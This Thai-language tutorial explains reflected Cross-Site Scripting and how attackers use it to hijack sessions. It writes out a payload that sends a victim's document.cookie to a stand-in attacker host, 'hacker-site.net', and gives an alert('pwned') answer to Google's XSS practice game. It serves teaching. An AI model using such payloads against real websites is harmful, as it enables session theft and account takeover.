การเขียนสคริปต์ข้ามไซต์คืออะไร?
Cross-Site Scripting (XSS) เป็นหนึ่งในเทคนิคการโจมตีที่ได้รับความนิยมมากที่สุดในปัจจุบัน ซึ่งรู้จักกันในชื่อ Godfather of Attack และเป็นเวลาหลายปีที่ได้รับการจัดอันดับให้เป็นเทคนิคการโจมตีที่อันตรายที่สุดสำหรับแอปพลิเคชันบนเว็บ
อย่าเรียกสั้นๆ ว่า CSS เพื่อหลีกเลี่ยงความสับสนกับแนวคิด Cascading Style Sheet ของ HTML
เทคนิค
XSS เกิดจากการแทรกสคริปต์ที่เป็นอันตรายลงในซอร์สโค้ดของแอปพลิเคชันเว็บ เพื่อรันโค้ด Javascript ที่เป็นอันตรายเพื่อเข้าควบคุมเซสชันการเข้าสู่ระบบของผู้ใช้
เพื่อให้เข้าใจดีขึ้น ลองพิจารณาตัวอย่างต่อไปนี้ เว็บแอปพลิเคชันที่อนุญาตให้พิมพ์ค่าที่เราส่งผ่าน URL โดยสมมติว่าเราส่งค่า Ping ให้กับตัวแปรชื่อ:
จนถึงตอนนี้ทุกอย่างเรียบร้อยดี มาตรวจสอบซอร์สโค้ด html กันดีกว่า:
สิ่งที่เห็นได้ง่ายคือค่าชื่อที่เราป้อนถูกแทรกลงในซอร์สโค้ดแล้ว ดังนั้นจึงเป็นไปได้ว่าอะไรก็ตามที่นำเข้ามาก็สามารถแทรกได้เช่นกัน ปัญหาจะร้ายแรงหากค่าที่ป้อนไม่ใช่สตริงปกติเหมือนด้านบน แต่เป็นโค้ดที่อาจเป็นอันตราย บางอย่างเช่นนี้:
ลองอีกครั้งด้วยค่าข้างต้น:
จากตัวอย่างนี้ เราสามารถสรุปได้สองสิ่ง ขั้นแรก ตัวแปรชื่อสามารถรับค่าอินพุตใดๆ และส่งไปยังเซิร์ฟเวอร์เพื่อประมวลผลได้ ประการที่สอง เซิร์ฟเวอร์ไม่ได้ควบคุมค่าอินพุตนี้ก่อนที่จะส่งคืนไปยังเบราว์เซอร์ สิ่งนี้นำไปสู่การแทรกโค้ดจาวาสคริปต์ลงในซอร์สโค้ด
โดยทั่วไป XSS จะแบ่งออกเป็น 3 ประเภทหลัก: แบบสะท้อน, แบบจัดเก็บ และแบบ DOM ในบทความนี้ ผมจะพูดถึงเทคนิค Reflected XSS เป็นหลัก
เทคนิค XSS มากถึง 75% เป็นแบบสะท้อน XSS มันถูกเรียกว่าสะท้อนกลับเพราะในสถานการณ์การหาประโยชน์ประเภทนี้ แฮกเกอร์จะต้องส่ง URL ที่มีโค้ดที่เป็นอันตราย (โดยปกติคือจาวาสคริปต์) ให้กับเหยื่อ เหยื่อเพียงต้องการขอ URL นี้เท่านั้น และแฮกเกอร์จะได้รับคำตอบพร้อมผลลัพธ์ที่ต้องการทันที (แสดงภาพสะท้อนไว้ที่นี่) นอกจากนี้ยังเรียกอีกอย่างว่า XSS ลำดับที่หนึ่ง
สถานการณ์การขุดในชีวิตจริง
มีหลายวิธีในการใช้ประโยชน์จากข้อผิดพลาด Reflected XSS หนึ่งในวิธีที่เป็นที่รู้จักมากที่สุดคือการเข้าควบคุมเซสชันของผู้ใช้ ซึ่งจะเป็นการเข้าถึงข้อมูลและได้รับสิทธิ์บนเว็บไซต์
รายละเอียดมีการอธิบายไว้ในขั้นตอนต่อไปนี้:
1. ผู้ใช้เข้าสู่ระบบเว็บและถือว่าเซสชันได้รับมอบหมาย:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. แฮกเกอร์ส่ง URL ให้กับผู้ใช้:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
สมมติว่า example.com เป็นเว็บไซต์ที่เหยื่อเข้าชม ส่วน hacker-site.net เป็นเว็บไซต์ที่แฮ็กเกอร์สร้างขึ้น
3. เหยื่อเข้าถึง URL ข้างต้น
4. เซิร์ฟเวอร์ตอบสนองต่อเหยื่อพร้อมกับข้อมูลที่มีอยู่ในคำขอ (ตัวอย่างจาวาสคริปต์ของแฮ็กเกอร์)
5. เบราว์เซอร์เหยื่อได้รับการตอบกลับและรันจาวาสคริปต์
6. จาวาสคริปต์จริงที่แฮกเกอร์สร้างขึ้นมีดังนี้:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
บรรทัดคำสั่งข้างต้นจะส่งคำขอไปยังไซต์ของแฮ็กเกอร์โดยมีพารามิเตอร์เป็นคุกกี้ของผู้ใช้:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. จากไซต์ของคุณ แฮกเกอร์จะตรวจจับเนื้อหาคำขอข้างต้น และพิจารณาว่าเซสชันของผู้ใช้จะถูกยึดครอง ณ จุดนี้ แฮกเกอร์สามารถปลอมตัวเป็นเหยื่อและใช้สิทธิ์ทั้งหมดบนเว็บไซต์ที่เหยื่อมี
ฝึกฝน
Google ได้สร้างเพจเพื่อฝึกฝนการหาประโยชน์จากข้อผิดพลาด XSS ที่นี่: https://xss-game.appspot.com
เป้าหมายของความท้าทายเหล่านี้คือคุณต้องแทรกสคริปต์เพื่อแสดงป๊อปอัป ความท้าทายประการแรกคือการแสดงให้เห็นเทคนิคที่สะท้อนออกมา โค้ดการหาประโยชน์นั้นค่อนข้างง่าย:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
ขอให้โชคดี!